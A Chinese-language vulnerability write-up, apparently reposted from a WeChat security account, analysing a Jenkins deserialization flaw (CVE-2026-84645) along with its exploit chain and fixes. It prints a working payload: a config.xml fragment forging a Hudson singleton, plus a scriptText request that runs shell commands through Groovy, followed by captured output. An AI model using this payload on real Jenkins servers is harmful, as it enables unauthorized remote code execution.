Jenkins反序列化:CVE-2026-84645伪造Hudson单例绕过ACL直达GroovyRCE

admin 2026-09-29 05:47:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析Jenkins反序列化漏洞CVE-2026-84645,影响weekly≤2.579及LTS≤2.568.2版本,属严重级别。低权用户可通过config.xml注入特制对象图,绕过ACL以服务账号执行任意Groovy代码。文档详述了利用链、验证过程及修复建议,包括升级版本、白名单校验等。所有复现须在隔离靶场进行,禁止未授权测试。 综合评分: 78 文章分类: 漏洞分析,渗透测试,红队,漏洞POC


Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE

柠檬赏金猎人

2026年9月23日 08:04 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

概述

#

CVE-2026-84645(Jenkins PersistenceRoot 反序列化,SECURITY-3972)该漏洞影响 Jenkins weekly ≤ 2.579 / LTS ≤ 2.568.2,被评定为 critical(CWE-502)。攻击者仅需低权账号(Item/Configure)即可通过 config.xml 注入特制对象图,绕过权限检查后以 Jenkins 服务账号身份执行任意 Groovy 代码。

| | | — | | |

| 项目 | 值 | | — | — | | CVE | CVE-2026-84645 | | 类型 | Deserialization / RCE | | 严重性 | 🔴 critical | | 验证状态 | ✅ 已验证(real 靶场证据) | | 画像置信度 | 0.5 | | Sink | RobustReflectionConverter.java:190 → Jenkins.java:4850/:4885 |

技术/功能

漏洞根因:Jenkins 的 XStream 反序列化入口 hudson.util.RobustReflectionConverter.doUnmarshal 放行了被 JEP-200 黑名单限制的 PersistenceRoot 子类型,使其可以作为「对象图中的嵌套字段值」出现;同时放行了 transient 字段(XStream 1.1.3 兼容模式)。由于 XStream 使用 Unsafe.allocateInstance 不执行构造函数,攻击者可在 /job/<job>/config.xml 中伪造出第二个 hudson.model.Hudson 单例,并将其 authorizationStrategy 设为 AuthorizationStrategy$Unsecured。

利用链(SOURCE → SINK):

  • 污点源:POST /job/<JOB>/config.xml 的 XML 请求体(经 Items.updateByXml 交给 XStream2.unmarshal 解析)
  • 危险函数:RobustReflectionConverter.doUnmarshal / XStream2.unmarshal
  • 路由链:FingerprintAction → FreeStyleBuild → FreeStyleProject → 伪造 Hudson 的 urlName/parent 链路
  • 最终 Sink:jenkins.model.Jenkins.doScriptText / _doScript,getACL() 取自伪造实例 → 权限检查被绕过 → Groovy 任意代码执行

修复前后对比:weekly 2.580 / LTS 2.568.3 中,doUnmarshal 拒绝将 PersistenceRoot 子类型作为嵌套字段值反序列化(抛 CriticalXStreamException);恢复 TRANSIENT_FIELD_STRICT_MODE;Jenkins.readResolve() 拒绝第二个 Jenkins 单例;新增 Security3972Test 回归用例。

使用示例

依赖:pip install requests,靶场为 Jenkins weekly 2.579。

核心思路:低权账号先确认无 Script Console 权限(基线 403),再通过 config.xml 注入伪造对象图,最后沿对象图路由到 scriptText 执行命令。

注入 XML 关键片段:

<actions>
&nbsp;&nbsp;<hudson.tasks.Fingerprinter_-FingerprintAction>
&nbsp; &nbsp;&nbsp;<build&nbsp;class="hudson.model.FreeStyleBuild">
&nbsp; &nbsp; &nbsp;&nbsp;<project&nbsp;class="hudson.model.FreeStyleProject">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<parent&nbsp;class="hudson.model.Hudson">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<authorizationStrategy&nbsp;class="hudson.security.AuthorizationStrategy$Unsecured"/>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</parent>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<name>carrier</name>
&nbsp; &nbsp; &nbsp;&nbsp;</project>
&nbsp; &nbsp;&nbsp;</build>
&nbsp; &nbsp;&nbsp;<record/>
&nbsp;&nbsp;</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

命令执行请求:

POST&nbsp;/job/carrier/fingerprints/run/parent/parent/scriptText
script=println&nbsp;new&nbsp;ProcessBuilder(['sh','-c','<cmd>']).redirectErrorStream(true).start().text

验证输出(exp 捕获的靶场原始响应):

[*] baseline POST /scriptText -> HTTP 403 (403 expected)
[*] STEP1 POST /job/carrier/config.xml -> HTTP 200
[*] STEP2 POST /job/carrier/fingerprints/run/.../scriptText -> HTTP 200
VULN_REPRO_PWNED_84645
uid=1000(jenkins)&nbsp;gid=1000(jenkins)&nbsp;groups=1000(jenkins)
[+] EXPLOIT SUCCESS: command executed as Jenkins OS&nbsp;user
VULN_REPRO_VERIFIED_84645a7b9

注意事项

  • 修复建议:在 doUnmarshal 中对字段类型做白名单二次校验;恢复 TRANSIENT_FIELD_STRICT_MODE;readResolve 检测第二单例;将 ACL 判定改为从 Stapler 路由上下文获取;升级到 weekly ≥ 2.580 / LTS ≥ 2.568.3。
  • 所有复现操作必须在自建隔离靶场中进行,禁止对未授权目标实施测试。

参考链接

  • https://github.com/mhtsec/CVE-2026-84645
  • https://www.jenkins.io/security/advisory/

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:柠檬赏金猎人 《Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE》

评论:0   参与:  0